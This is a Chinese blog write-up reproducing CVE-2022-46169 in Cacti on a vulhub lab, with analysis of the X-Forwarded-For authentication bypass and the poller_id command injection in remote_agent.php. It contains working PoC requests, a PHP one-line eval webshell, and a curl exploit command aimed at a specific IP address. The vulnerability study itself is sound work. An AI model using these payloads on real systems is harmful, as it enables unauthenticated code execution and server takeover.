CVE-2022-46169漏洞系统复现与分析

[漏洞分析]CVE-2022-46169 :PHP登录绕过与命令注入执行


一、基本信息

标题描述
项目基于php语言的开源平台的登录绕过与命令注入执行
公布日期2023年2月16日
更新日期2023年2月16日
CVE编号CVE-2022-46169
严重等级评估9.8-来自NVD-CVE-2022-46169
影响版本Cacti系统< 1.2.23影响
修复已在 1.2.x 和 1.3.x 版本分支中得到解决

二、漏洞简述

Cacti 是一个开源平台,为用户提供了一个强大且可扩展的操作监控和故障管理框架。在受影响的版本中,如果为任何受监控设备选择了特定数据源,则命令注入漏洞允许未经身份验证的用户在运行 Cacti 的服务器上执行任意代码。


三、环境搭建

  • vulhub部署漏洞环境-我的是基于linux系统下
  • burpsuite等抓包工具

步骤A

在 vulhub 中拉取 CVE-2022-46169 镜像

cd vulhub-master/Cacti/CVE-2022-46169/
docker-compose up -d
//拉取之后发现8080端口已经在环境起好了

步骤B

访问http://your_ip:your_port即可,如下图
在这里插入图片描述
账户密码都是admin,然后直接next点击默认安装即可,进去如下图

在这里插入图片描述

漏洞环境搭建工作完成


四、POCs

GET/remote_agent.php?action=polldata&local_data_ids[0]=6&host_id=1&poller_id=`touch+/tmp/1` HTTP/1.1
X-Forwarded-For: 127.0.0.1
Host: your-localhost:your-port
User-Agent: Mozilla/5.0(X11;Linuxx86_64;rv:91.0)Gecko/20100101Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip,deflate
Connection: close
Upgrade-Insecure-Requests: 1
GET /remote_agent.php?action=polldata&local_data_ids[0]=6&host_id=1&poller_id=`id>1.txt`
X-Forwarded-For: 127.0.0.1
Host:  your-localhost:your-port
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Priority: u=0, i
Pragma: no-cache
Cache-Control: no-cache

在这里插入图片描述

(这里面如何进入docker容器的方法:)

docker exec -it 2f4f2925a13f /bin/bash #这里说一下/bin/bash就是命令执行处,前面是你的docker容器编号,具体怎么查看可以使用docker ps

这里贴一篇讲解文章:(Linux环境)如何进入Docker容器下的MySQL数据库?_linux 进入mysql docker-CSDN博客


五、漏洞原理分析

漏洞整体分为两部分是登录绕过与命令注入

这里我们可以到github上查看一下修复方案,这里面已经给到了漏洞出现地方以及修复方案:

https://github.com/Cacti/cacti/commit/7f0e16312dd5ce20f93744ef8b9c3b0f1ece2216

源码环境搭建:

该系统为开源系统,github 地址:https://github.com/Cacti/cacti

直接选择 1.2.22 Release 版本下载并进行安装,根目录下有一个 cacti.sql ,导入数据库,然后将 include/config.php.dist 复制为 include/config.php ,并将数据库配置按自己的改好,我用的phpstudy +Navicat Premium在本地搭建,而为什么会提到要费心思本地源码搭建是因为我的docker里面数据库服务是起了的但是无法访问查询操作,我索性在本地起服务,方便我之后的查询操作

这里我遇到的问题就是Navicat Premium和本地mysql服务起冲突,我之前装过mysql workbench,所以在phpstudy再起的时候把端口调整一下,然后新建数据库导入sql文件,

访问 http://localhost/cacti/ 进行安装,安装的时候会提醒你的php环境和mysql的问题

在这里插入图片描述

根据提示改就行了

身份绕过:

根据commit的提示

在这里插入图片描述

在这里插入图片描述

我们启动php编译环境进去先看一下auth_login.php文件查看(这里就采用静态审计的方法了),因为commit大部分会围绕get_client_addr()进行修复,我们可以跟进看一下这个函数

在这里插入图片描述

我们来到这一页,很显然易见的发现的一点,用户传过来的所有信息是用户可操控的(指的是可以通过改包来操控),在修复版本中修改的代码则是限制了获取,不让从这些可控的参数中取值,因此可以猜测这个与登录绕过存在关系。
这个文件就到这里,其实最多是集中在remote_agent.php这个文件中,我们进去看一下,首先发现有多php资源的加载和获取,但是没有什么可说的,直接往下

在这里插入图片描述

这里有一个认证身份的代码块,我在本地测试时候也遇到过,跟进函数看一下

在这里插入图片描述

很明显又遇到了get_client_addr()函数,而且我们知道他的功能是获取网页用户的信息,再往下看,我也写了注释,这里会发起一些检测ip地址等操作,不用理会,往下看

$pollers = db_fetch_assoc('SELECT * FROM poller', true, $poller_db_cnn_id);  //sql语句,进行从poller表中获取所有的$pollers

到了这句我们发现执行了个sql查询,我在本地sql服务查了这个表之后

在这里插入图片描述

再往下看就是一个判断,大致是对ip进行身份验证,然后进行返回,其实很容易看出来是在验证是否为本地ip地址,这里鸡肋的一点是如果在渗透性测试的时候需要进行一个ip字段爆破,获得host主机域名(内网)

$client_name = gethostbyaddr($client_addr);

在这里插入图片描述

身份鉴权绕过大致是这样,由于我们参数可控,可以采用暴力猜解等方法,进行爆ip和构造X-Fowarded-For:127.0.0.1(在linux里面通常127.0.0.1就是localhost,win系统偶尔会出问题)等等。

命令注入:

我们再回到原来的位置,继续向下,这里有一个set_default_action();我们可以进去看一下执行了什么

在这里插入图片描述

就是是否存在 action 参数,不存在就设置为 $default ,存在就对其进行赋值,这里是 $_REQUEST ,可以是 post 或者 get,这里记住action参数的出现,我们回去继续向下,接下来会触发switch····case如果action是polldata就会执行poll_for_data();函数,而这个函数是被修复的

在这里插入图片描述

我们跟进去看一下,接下来重头戏来了,首先我们可以看到参数的获取,他们是从get_filter_request_var()函数获取,我们可以看一下发现几乎没有任何过滤,就是从请求拿信息,这也对照了POC里面三个参数的来源

$local_data_ids = get_nfilter_request_var('local_data_ids');  //是一个数组
$host_id        = get_filter_request_var('host_id');
$poller_id      = get_nfilter_request_var('poller_id');

继续往下看

在这里插入图片描述

不难发现会根据 $host_id 和 $local_data_ids会被作为sql查询的标准来从poller_item这个表里面找信息,然后存到数组 $items,本地查了一下,这里刚好发现里面有action这个参数,猜测可能要获取action的值

在这里插入图片描述

接下来会进入一个switch···case,这里会用action的值进行选择,这里显然易见发现一个命令执行,这里是在$poller_id这里,和上面的获取参数就呼应了

$cactiphp = proc_open(read_config_option('path_php_binary') . ' -q ' . $config['base_path'] . '/script_server.php realtime ' . $poller_id, $cactides, $pipes);

然后对标case:POLLER_ACTION_SCRIPT_PHP发现他被定义成2,就是action=2,这里也说明了上面两个参数的作用,在真实的渗透场景可能需要爆字段来获取


六、EXP+PAYLOAD

我采用了反弹shell和一句话木马的方式,最后木马打通了,可能docker环境弹shell有问题,但原理上没有过滤是可行的

<?php @eval($_POST['a']); ?>

在这里插入图片描述

这里还有一个可以利用curl打通的指令,可以执行相似的发包操作

curl -H "X-Forwarded-For:127.0.0.1" http://47.236.242.43:8080/remote_agent.php?action=polldata&local_data_ids[0]=6&host_id=1&poller_id=`xxxx`

七、修复

官网已经公布修复版本

https://github.com/Cacti/cacti

八、总结

漏洞总结

该漏洞主要集中存在于文件之中remote_agent.php,其中主要是身份绕过和命令注入,身份绕过需要爆破ip,伪造等操作绕过,命令注入也需要爆破相应的字段进行参数构造,后续的命令执行也存在一些难度,这里需要爆破技术,拿shell的方式和一定的代码审计能力


九、附录

个人博客–ArmageddoxA的博客

  • 14
    点赞
  • 17
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值